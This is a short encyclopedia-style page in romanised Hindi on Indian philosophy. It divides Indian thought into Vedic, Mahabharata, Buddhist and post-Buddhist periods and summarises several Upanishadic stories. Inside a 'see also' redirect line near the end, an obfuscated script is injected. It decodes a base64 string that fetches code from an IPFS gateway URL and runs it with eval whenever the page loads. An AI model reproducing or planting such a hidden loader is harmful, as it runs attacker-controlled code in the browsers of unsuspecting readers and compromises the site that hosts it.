दर्शन शास्त्र

darshan parichay
adhyatm ka mooladhar darshan hai. bharat mean dharm aur darshan paraspar aise rache-base haian ki unhean alag nahian kiya ja sakata. donoan ki paranpara saman gati se nirantar pravahaman drashtavy hai. bharat chirakal se ek darshan pradhan desh raha hai. bhautik jagath ka mithyatv tatha nirakar brahm ka saty evan sarvavyapakata yahaan sadaiv vichar ka vishay bane rahe haian.

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vibhajan

bharatiy darshanik vicharadhara ko samay ki drishti se char kaloan mean vibhajit kar sakate haian-

1. vaidik kal mean ved se upanishad tak racha sahity samahit hai.
2. mahabharat kal - charvak aur gita ka yug.
3. bauddh kal - jain tatha bauddh dharm ka yug.
4. uttar bauddh kal - nyay, vaisheshik, saankhy, yog, poorv tatha uttar mimaansa ka yug.

vaidik kal

vaidik kal mean aryoan ki chiantadhara ullas tatha aishvary bhogane ki kamana se yukt thi. brahman granthoan mean vaidik rrichaoan aur mantroan ke arth ke sath-sath tatkalin puran aur itihas ke sandarbh bhi milate haian. unake madhyam se karm ki mahatta badhane lagi. unaki sabase b di visheshata ved aur vedottar sahity ki madhyavarti k di hone mean hai. dhire-dhire aryoan ki vicharadhara aantarmukhi hone lagi. at: upanishadoan ki rachana huee. aupanishadik sahity mean anek kathaean darshanik tathyaankan karati haian-

• pippalad ki katha brahm jiv, jagath par prakash dalati hai.
• nachiketa bhautik sukhoan ki ni:sarata par.
• sukesha ke madhyam se solah kalaoan se yukt purush ka aankan hai to
• varun aur bhrigu ka vartalap brahm ke svaroop ko spasht karata hai.
• chhaandogyopanishad mean aankit brihaspati ki katha indriyoan ki nashvarata ko ujagar karati he. aisi anek kathaean upalabdh haian.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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